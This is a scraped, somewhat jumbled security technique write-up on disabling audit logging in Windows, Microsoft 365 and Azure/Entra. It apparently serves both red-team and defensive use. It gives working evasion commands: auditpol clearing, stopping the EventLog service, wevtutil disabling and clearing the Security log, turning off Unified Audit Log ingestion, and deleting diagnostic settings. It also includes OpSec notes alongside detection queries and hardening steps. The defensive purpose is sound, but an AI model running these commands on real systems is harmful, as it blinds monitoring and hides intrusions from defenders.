| Attribute | Details | |—|—| | Technique ID | MISCONFIG-009 | | MITRE ATT&CK v18.1 | T1562.002 – Disable Windows Event Logging / T1562.008 – Disable or Modify Cloud Logs | | Tactic | Defense Evasion | | Platforms | Multi-Env (Windows Server/Endpoint, Windows AD, Entra ID, Azure, Microsoft 365) | | Severity | Critical | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All supported Windows client/server versions; Entra ID (all SKUs); Azure Subscriptions; Microsoft 365 tenants | | Patched In | N/A (configuration-based risk; mitigated by policy and hardening) | | Author | SERVTEP – Artur Pchelnikau |
auditpol, wevtutil or service tampering, turning off Microsoft 365 Unified Audit Log ingestion, and removing Azure/Entra diagnostic settings and connectors. Once visibility is lost, attackers can perform credential theft, privilege escalation, and data exfiltration with minimal forensic trace.| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Controls v8 8.2 / 8.3 | Collect and centralize audit logs, protect logging configuration from unauthorized changes. | | DISA STIG | AU-0001 / AU-0002 (Win/AD STIG families) | Ensure audit policy is enabled and modification of audit configuration is restricted. | | CISA SCuBA | Logging Baseline LB-1, LB-2 | Require cloud and SaaS audit logging, prohibit disabling of mailbox and admin logs. | | NIST 800-53 | AU-2, AU-6, AU-9 | Event logging, audit review, and protection of audit information from modification. | | GDPR | Art. 5, 30, 32 | Accountability and security of processing; inability to trace access hinders breach notification and DPIA. | | DORA | Art. 9, 10 | ICT monitoring and logging controls for incident detection and reporting. | | NIS2 | Art. 21 | Technical and operational measures including logging and event monitoring. | | ISO 27001 | A.8.16, A.8.15 | Logging, monitoring, and protection of log information against tampering. | | ISO 27005 | Risk Scenario | Loss of logging leading to undetected compromise and incomplete forensic evidence.
Supported Versions:
Cloud: All current Entra ID, Azure, and Microsoft 365 SKUs.
auditpol.exe (built-in Windows audit policy management).wevtutil.exe (built-in Windows Event Log management).Set-AdminAuditLogConfig, Get-AdminAuditLogConfig) for M365 Unified Audit Log.# Check high-level audit policy status on a Windows host
auditpol /get /category:* | Where-Object { $_ -match 'No Auditing' }
What to Look For:
No Auditing for critical areas (Logon, Account Logon, Object Access, Policy Change, Privilege Use, Directory Service Access, Process Creation).Version Note: auditpol syntax is consistent from Server 2012 R2 onward; older systems may lack some subcategories.
Command (Server 2016–2019):
# Check if the EventLog service is disabled or stopped
Get-Service -Name EventLog | Select-Object Name,Status,StartType
Command (Server 2022+):
Get-Service -Name EventLog | Select-Object Name,Status,StartType
# Check for Autologger tampering (Security log)
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security" |
Select-Object Start, Enabled
# Check Microsoft 365 Unified Audit Log ingestion
Connect-ExchangeOnline
Get-AdminAuditLogConfig | Select-Object UnifiedAuditLogIngestionEnabled
# Entra ID sign-in & audit log export (Sentinel/Log Analytics)
Get-AzDiagnosticSetting -ResourceId "/providers/microsoft.aadiam/diagnosticSettings/azureaddiaglogs" 2>$null
What to Look For:
UnifiedAuditLogIngestionEnabled : False indicates tenant-level Unified Audit Log disabled.# List diagnostic settings on a key resource (example: Key Vault)
az monitor diagnostic-settings list \
--resource /subscriptions/<subId>/resourceGroups/<rg>/providers/Microsoft.KeyVault/vaults/<kv-name>
What to Look For:
Supported Versions: Windows 10/11; Windows Server 2016–2025.
auditpolObjective: Turn off auditing for sensitive categories (e.g. Logon, Account Logon, Policy Change) to reduce visibility.
Command (All supported versions):
# Disable auditing for Account Logon events (success and failure)
auditpol /set /category:"Account Logon" /success:disable /failure:disable
# Clear all audit policy (extreme case)
auditpol /clear /y
Expected Output:
The command was successfully executed. messages.What This Means:
OpSec & Evasion:
auditpol execution is itself logged (e.g. Event ID 4719 – System audit policy was changed) and may be detected by SIEM or EDR.Troubleshooting:
Access is denied.
References & Proofs:
auditpol.exe usage.Objective: Stop or disable the Windows Event Log service and/or individual log channels.
Command (Service stop – all versions):
Stop-Service -Name EventLog -Force
# Or configure service not to start automatically
sc.exe config EventLog start= disabled
Command (Disable individual channels via wevtutil):
# Example: disable Microsoft-Windows-Security-Auditing channel
wevtutil sl Security /e:false
Expected Output:
wevtutil returns success; Security log stops receiving new events.OpSec & Evasion:
Troubleshooting:
Access is denied or The requested control is not valid for this service.
References & Proofs:
Disable Logs Using WevtUtil.Supported Versions: All Microsoft 365 tenants with Exchange Online.
Objective: Stop tenant-wide ingestion of user and admin events into the Unified Audit Log.
Command:
Connect-ExchangeOnline
# Disable Unified Audit Log ingestion
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false
# Verify
Get-AdminAuditLogConfig | Format-List UnifiedAuditLogIngestionEnabled
Expected Output:
UnifiedAuditLogIngestionEnabled : False.What This Means:
OpSec & Evasion:
Troubleshooting:
You must be assigned the Audit Logs role to enable or disable auditing.
References & Proofs:
Set-AdminAuditLogConfig documentation.Supported Versions: Entra ID, Azure subscriptions, Microsoft Sentinel, third-party SIEM.
Objective: Prevent audit and sign-in logs from reaching Log Analytics, Event Hub, or external SIEM.
Command (Azure CLI):
# Remove diagnostic settings from Entra ID logs (example name)
az monitor diagnostic-settings delete \
--name azureaddiaglogs \
--resource /providers/microsoft.aadiam/diagnosticSettings/azureaddiaglogs
Command (PowerShell – disable logs but keep setting):
$rg = "<rg>"
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName $rg -Name "<lawName>"
# Recreate setting with metrics only, no logs
disable-azdiagnosticsetting -Name 'azureaddiaglogs' # pseudo-example; actual implementation uses New-AzDiagnosticSetting with logs disabled
Expected Output:
What This Means:
Objective: Break ingestion from M365 Defender, Entra, or other sources to Sentinel.
Outline (Portal):
OpSec & Evasion:
SentinelHealth) and Defender/MDA activity logs can detect connector failures and configuration changes if monitored.References & Proofs:
T1562.002-test1 through test7).wevtutil, auditpol, and service configuration.Invoke-AtomicTest T1562.002 -TestNumbers 1,2,3,4,5,6,7
Invoke-AtomicTest T1562.002 -TestNumbers 1,2,3,4,5,6,7 -Cleanup
Reference: Atomic Red Team GitHub – T1562.002.
auditpol.exeSupported Platforms: Windows client and server.
Usage:
# View all categories
auditpol /get /category:*
# Disable logon auditing
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
wevtutil.exeUsage:
# Disable a specific channel
wevtutil sl Security /e:false
# Clear a log
wevtutil cl Security
Set-AdminAuditLogConfig (Exchange Online)Usage:
Connect-ExchangeOnline
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false
az monitor diagnostic-settings list --resource <resource-id>
az monitor diagnostic-settings delete --name <setting-name> --resource <resource-id>
wevtutilRule Configuration:
win* or EDR index.XmlWinEventLog:Microsoft-Windows-Sysmon/Operational or process telemetry.process_name, process, process_path, command_line.SPL Query:
index=win* (sourcetype="*sysmon*" OR sourcetype="XmlWinEventLog:*")
| where process_name="wevtutil.exe" OR process="wevtutil.exe"
| search command_line="*sl*" command_line="*/e:false*" OR command_line="*cl security*"
| stats count values(command_line) by host, user, process_name, _time
What This Detects:
wevtutil.exe with parameters used to disable or clear logs.wevtutil or auditpolRule Configuration:
DeviceProcessEvents (MDE) or SecurityEvent / Sysmon tables.KQL Query (MDE example):
DeviceProcessEvents
| where FileName in ("wevtutil.exe","auditpol.exe")
| where ProcessCommandLine has_any ("cl security", "/clear /y", "/set /category", " /e:false")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
Manual Configuration Steps (Azure Portal):
KQL (CloudAppEvents via M365 Defender connector):
CloudAppEvents
| where Application == "Microsoft Azure"
| where ActivityObjects[1].Name contains "microsoft.aadiam/diagnosticSettings"
| where ActionType in ("Write DiagnosticSettings","Delete DiagnosticSettings")
| extend Status = tostring(ActivityObjects[4].Value)
| where Status == "Succeeded"
| project TimeGenerated, User=UserId, ActionType, ActivityObjects
What This Detects:
Key Event IDs:
Manual Configuration Steps (Group Policy):
gpmc.msc.gpupdate /force.Minimum Sysmon Version: 13.0+
Example Config Snippet (Registry change to disable channels):
<RuleGroup name="EventLog Tampering" groupRelation="or">
<RegistryEvent onmatch="include">
<TargetObject condition="contains">\Microsoft\Windows\CurrentVersion\WINEVT\Channels\</TargetObject>
<TargetObject condition="ends with">\Enabled</TargetObject>
<Details condition="is">DWORD (0x00000000)</Details>
</RegistryEvent>
</RuleGroup>
Manual Configuration Steps (Enable Defender for Cloud):
Search-UnifiedAuditLog -Operations Set-AdminAuditLogConfig -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date)
Set-AdminAuditLogConfig.AuditData blob for changes to UnifiedAuditLogIngestionEnabled.Manual Steps:
Set-AdminAuditLogConfig.Set-AdminAuditLogConfig to a very small number of accounts.Monitoring Contributor and Owner assignments.# Windows audit policy baseline present
auditpol /get /category:* | Where-Object { $_ -match 'No Auditing' }
# Unified Audit Log enabled
Get-AdminAuditLogConfig | Select-Object UnifiedAuditLogIngestionEnabled
HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-* with Start = 0 or Enabled = 0.Security.evtx, System.evtx, and Sysmon logs showing last events before shutdown or clearing.wevtutil epl) and EDR telemetry.| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | Phishing, Valid Accounts | Adversary obtains privileged credentials. |
| 2 | Privilege Escalation | Token abuse, misconfig | Attacker escalates to DA / Global Admin / Subscription Owner. |
| 3 | Current Step | MISCONFIG-009 – Disabled Audit Logging | Logging is disabled or broken to create a blind spot. |
| 4 | Persistence & Lateral Movement | Credential theft, AD/Entra abuse | Attacker moves laterally with low chance of detection. |
| 5 | Impact | Data exfiltration, ransomware | Data theft or destructive actions execute with limited forensic trace. |
wevtutil and auditpol across compromised servers to disable and clear Windows event logs before encrypting data.